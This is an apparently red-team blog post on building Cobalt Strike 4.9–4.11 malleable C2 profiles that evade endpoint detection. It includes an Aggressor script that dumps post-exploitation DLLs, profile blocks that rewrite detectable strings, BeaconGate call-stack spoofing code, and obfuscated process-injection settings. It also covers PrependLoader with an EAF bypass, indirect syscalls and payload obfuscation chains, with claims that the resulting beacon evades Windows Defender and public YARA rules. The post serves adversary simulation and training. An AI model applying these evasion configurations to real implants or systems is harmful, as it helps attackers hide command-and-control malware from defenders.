Harnessing the Power of Cobalt Strike Profiles for EDR Evasion – Part 2

This blog post is a continuation of the previous entry “Harnessing the Power of Cobalt Strike Profiles for EDR Evasion“, we covered the malleable profile aspects of Cobalt Strike and its role in security solution evasion. Since the release of version 4.9, Cobalt Strike has introduced a number of significant updates aimed at improving operator flexibility, evasion techniques, and custom beacon implementation. In this post, we’ll dive into the latest features and enhancements, examining how they impact tradecraft and integrate into modern adversary simulation workflows.
We will build an OPSEC-safe malleable C2 profile that incorporates the latest best practices and features. All codes and scripts referenced throughout this post are available on our GitHub repository.

CS 4.9 – Post-Exploitation DLLs

Cobalt Strike 4.9 introduces a new malleable C2 option, post-ex.cleanup. This option specifies whether or not to clean up the post-exploiation reflective loader memory when the DLL is loaded.
Our initial attempt was to extract the post-exploitation DLLs within the Cobaltstrike JAR file:

Figure 1 – Decompiled Cobalt Strike client JAR

Upon checking for strings, nothing was detected as the DLLs are encrypted.
When checking the documentation, we stumbled upon the POSTEX_RDLL_GENERATE hook. This hook takes place when the beacon is tasked to perform a post exploitation task such as keylogging, taking a screenshot, run Mimikatz, etc. According to the documentation, the raw Post-ex DLL binary is passed as the second argument. So we created a simple script, to save its value to the disk:

sub print_info {
   println(formatDate("[HH:mm:ss] ") . "\cE[UDRL-VS]\o " . $1);
}

print_info("Post Exploitation Loader loaded");

set POSTEX_RDLL_GENERATE {
    local('$dllName $postex $file_handle');
    
    $dllName = $1;
    $postex = $2;
    
    # Leave only the DLL name without the folder
    $dllName = replace($dllName, "resources/", "");
   
    print_info("Saving " . $dllName . " to disk...");
    $file_handle = openf(">" . $dllName);
    writeb($file_handle, $postex);
    closef($file_handle);
    
    print_info("Done! Payload Size: " . strlen($postex));
    
    return $postex;
}

Load the CNA script to the Cobal Strike client, and task the beacon to perform a post-exploitation task (this case a screenshot):

Figure 2 – Exported raw post-exploitation DLL to disk

Tasking the beacon with all the possible post-exploitation tasks, will provided us all the 10 post-ex DLLs:

Figure 3 – Post-exploitation DLLs in disk

After extracting the DLLs, find all the strings within. We come up with the following set of profile configuration (shortened for readability) on preventing any potential static detection:

post-ex { 
    # cleanup the post-ex UDRL memory when the post-ex DLL is loaded  
    set cleanup "true"; 
    
    transform-x64 { 
        strrepex "PortScanner" "Scanner module is complete" "";
        strrepex "PortScanner" "(ICMP) Target" "pmci trg=";
        strrepex "PortScanner" "is alive." "is up.";
        strrepex "PortScanner" "(ARP) Target" "rpa trg=";
        #...
        #...
        #...
    } 

    transform-x86 { 
        # replace a string in the port scanner dll 
        strrepex "PortScanner" "Scanner module is complete" "Scan is complete"; 

        # replace a string in all post exploitation dlls 
        strrep "is alive." "is up."; 
    }
}

The full profile with all the found strings can be found here.

Note: It is highly recommended to replace the plaintext strings with something meaningful to the operator, since the changes will be outputted during or after the post-exploitation job. For example, in the image below we modified the string to show them in reverse during a port scan:

Figure 4 – Modified strings are displayed to the operator during/after the tasked Post-Ex job

Beacon Data Store

Beacon data store allows us to stored items to be executed multiple times without having to resend the item. The default data store size is 16 entries, although this can be modified by configuring the stage.data_store_size option within your Malleable C2 profile to match your needs:

stage {
    set data_store_size "32";
}

WinHTTP Support

Even though there is a new profile option to set a default internet library, we will not be including the option in our profile. The reason is that both libraries are heavily monitored from security solutions and there is no difference in terms of evasion between the libraries. What matters, is a good red team infrastructure which bypasses the network and memory detection.
However, if you prefer to using a specific library (in this case winhttp.dll), the following option can be applied to the profile:

http-beacon { 
    set library "winhttp"; 
}

CS 4.10 – BeaconGate

BeaconGate is a feature that instructs Beacon to intercept supported API calls via a custom Sleep Mask. This allows the developer to implement advanced evasion techniques without having to gain control over Beacon’s API calls through IAT hooking in a UDRL, a method that is both complex and difficult to execute.

It is recommended that you have the profile configured to proxy all the 23 functions that Cobalt Strike currently supports (as of 4.11). This can be done by setting the new stage.beacon_gate Malleable C2 option, as demonstrated below:

stage {
    set sleep_mask      "true";
    set syscall_method "indirect";
    beacon_gate {
        All;
    }
}

The profile will also enable the use of BeaconGate where we later start playing with it. This is crucial, otherwise the changes will not be applied to exported Beacons.

To get started, we need to work with Sleepmask-VS project from Fortra’s repository. If you prefer the Linux environment for development, you can use the Artifact Kit template instead.

The BeaconGateWrapper function in /library/gate.cpp is where these API calls are handled. The following demo code checks if the the VirtualAlloc function is called. This enabled us to intercept the execution flow and add the evasion mechanism(s):

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
    // Is the function VirtualAlloc?
    if (functionCall->function == VIRTUALALLOC) {
       // ...
       // Do something fancy here
       // ...
    }

    // Execxute original function pointer
    BeaconGate(functionCall);

    return;
}

The same can be applied for all the other supported high-level API functions.

In this example, we are going to implement callback spoofing mechanism. Since the goal of this blog is to explain how the BeaconGate implementation works, we will use the HulkOperator’s code for the spoofing mechanism.

The custom SetupConfig function expects a function pointer to spoof. This can be achieved by utilizing the functionCall structure. The functionPtr field holds the pointer to the WinAPI function you want to hook. To access the function’s name, you can use functionCall->function, and for the number of arguments, use functionCall->numOfArgs. Individual argument values can be retrieved via functionCall->args[i].

Here’s a proof of concept showing how the final code looks:

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
    STACK_CONFIG Config_1;
    UINT64 pGadget;

    pGadget = FindGadget();

    if (functionCall->bMask == TRUE) {
        MaskBeacon(&info->beacon_info);
    }

    // If the function has 1 argument (could be ExitThread for example)
    if (functionCall->numOfArgs == 1) {        
        SetupConfig((PVOID)pGadget, &Config_1, functionCall->functionPtr, functionCall->numOfArgs, functionCall->args[0]);
        Spoof(&Config_1);
    }

    // If the function has 2 arguments
    if (functionCall->numOfArgs == 2) {
        SetupConfig((PVOID)pGadget, &Config_1, functionCall->functionPtr, functionCall->numOfArgs, functionCall->args[0], functionCall->args[1]);
        Spoof(&Config_1);
    }

    // ... Apply the same logic for the other functions

    // If the function has 10 arguments
    if (functionCall->numOfArgs == 10) {
        SetupConfig((PVOID)pGadget, &Config_1, functionCall->functionPtr, functionCall->numOfArgs, functionCall->args[0], functionCall->args[1], functionCall->args[2], functionCall->args[3], functionCall->args[4], functionCall->args[5], functionCall->args[6], functionCall->args[7], functionCall->args[8], functionCall->args[9]);
        Spoof(&Config_1);
    }
    
    BeaconGate(functionCall);

    if (functionCall->bMask == TRUE) {
        UnMaskBeacon(&info->beacon_info);
    }

    return;
}

Next time you export a Beacon, the spoof mechanism will be applied. The final implementation code can be found here.

CS 4.11 – Novel Process Injection

Cobalt Strike 4.11 introduced a custom process injection technique, ObfSetThreadContext. This injection technique, bypasses the modern detection of injected threads (where the start address of a thread is not backed by a Portable Executable image on disk) by making the use of various gadgets to redirect execution.

By default, this new option will automatically set the injected thread start address as the (legitimate) remote image entry point, but can be additionally configured with custom module and offset as shown below:

process-inject {
  execute {
      ObfSetThreadContext "ntdll!TpReleaseCleanupGroupMembers+0x450";
      CreateThread "ntdll!RtlUserThreadStart";
      NtQueueApcThread-s;
      SetThreadContext;
      CreateThread;
      CreateRemoteThread;
      RtlCreateUserThread;
  }
}

The option above sets ObfSetThreadContext as the default process injection technique. The next injection techniques servers as a backup when the default injection technique fails. This happens on certain cases (i.e. x86 -> x64 injection, self-injection etc.)

CS 4.11 – sRDI with evasion capabilities

According to Fortra, the version 4.11 ports Beacon’s default reflective loader to a new prepend/sRDI style loader with several new evasive features added.

sRDI enables the transformation of DLL files into position-independent shellcode. It functions as a comprehensive PE loader, handling correct section permissions, TLS callbacks, and various integrity checks. Essentially, it’s a shellcode-based PE loader integrated with a compressed DLL.

First, a new EAF bypass option is introduced stage.set eaf_bypass. In September of 2010, Microsoft released their Enhanced Mitigation Experience Toolkit (EMET), which includes a new mitigation called Export address table Address Filter (EAF). Nowadays, this option is implemented on Microsoft Defender and can be enabled under the App & browser control -> Exploit protection tab for specific program(s) only:

Figure 5 – EAF enabled for specific program(s)

This is effective againts Windows shellcode, which relies on export address table (EAT), due to lack of IAT (Import Address Table). The bypass technique remains close-source, however according to the documentation, PrependLoader leverage gadgets inside of Windows system DLLs to bypass checks when reading Export.

Second, there is support for indirect syscalls stage.set rdll_use_syscalls) which is another great evasive feature to have part of the profile.

From our various testings we recommend the following set of rules to apply in the profile:

stage {
	set rdll_loader "PrependLoader";
	set rdll_use_syscalls "true";
	set eaf_bypass "true";
}

Lastly, there is support for automatically applying complex obfuscation routines to Beacon payloads (stage.transform-obfuscate {}). This protect the beacon against common signature detections.

    transform-obfuscate {
        lznt1;      # LZNT1 compression
        rc4 "128";  # RC4 encryption - Key length parameter: 8-2048
        xor "64";   # xor encryption - Key length parameter: 8-2048
        base64;     # encodes using base64 encoding
    }

rdll_loader can also be set to StompLoader, however the use of PrependLoader has the benefits of the implementationrdll_use_syscalls, the use of eaf_bypass and the stage.transform-obfuscate option which performs obfuscation to the Beacon DLL payload for the prepend loader.

Combining all the stage options from earlier, we get the following stage profile:

stage {
    set sleep_mask      "true";
    set syscall_method "indirect";
    beacon_gate {
        All;
    }
    
	set rdll_loader "PrependLoader";
	set rdll_use_syscalls "true";
	set eaf_bypass "true";

    transform-obfuscate {
        lznt1;      # LZNT1 compression
        rc4 "128";  # RC4 encryption - Key length parameter: 8-2048
        xor "64";   # xor encryption - Key length parameter: 8-2048
        base64;     # encodes using base64 encoding
    }
}

Beacon strings

Since our previous coverage of Cobalt Strike 4.8, recent updates have introduced significant changes to the beacon, including modifications to its strings. The exported shellcode now excludes any strings that operators would have previously removed manually using the profile. As a result of this change along with other enhancements from the last three updates, the raw shellcode with the applied profile is no longer detectable by Windows Defender:

Figure 6 – Scan output showing the raw Beacon shellcode not detected from Windows Defender

The exported shellcode doesn’t get detected by any of the most common YARA rules (considering that they haven’t been updated since 2022):

Figure 7 – Scan output showing the raw Beacon in shellcode format not detected by any of the public YARA rule

Bonus 1: Magic MZ Header

As mentioned in our previous blogpost, magic_mz_x64 and magic_mz_x86 are very important profile options when it comes to bypassing signature detection. They are responsible for changing the MZ PE header which are not obfuscated as the reflective loading process depends on them. We need to change its values, however we cannot simply put some random values to it due to OPSEC reasons. As the official documentation suggests, one can change these values by providing a set of 2 (for x64) or 4(for x86) assembly instructions. The condition for the assembly instructions is that the resultant should be a no operation.

To automate this process, we have created a simple Python script which automates the process of compiling x86 and /x64 NOP-alternative instructions using nasm and print out the ASCII values in a ready-to-use profile format as shown below:

Figure 8 – Python script generating magic MZ Header, ready to use for the Cobalt Strike profile

Bonus 2: DLL parsing

This part is important if you want to make the beacon reflected DLL looks like a system DLL. To automate this process, we developed a simple python script which parses the given DLL, in order to generate a ready-to-use Cobalt Strike profile like shown in the image below:

Figure 9 – Python script parsing DLL values, ready to use for the Cobalt Strike profile

Conclusion

The last three updates has introduced a lot of flexibility for the operator. From post-exploitation DLL string removal, ability to hook high-level API via BeaconGate, the introduction of PrependLoader and its evasive features and much more, makes Cobalt Strike a more ready-to-use tool and a more customizable one.

All the scripts and the final profiles used for bypasses are published in our Github repository and made use of in our Offensive Development (ODPC) and Advanced Red Team Operations (ARTO) courses.

References

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm
https://github.com/HulkOperator/Spoof-RetAddr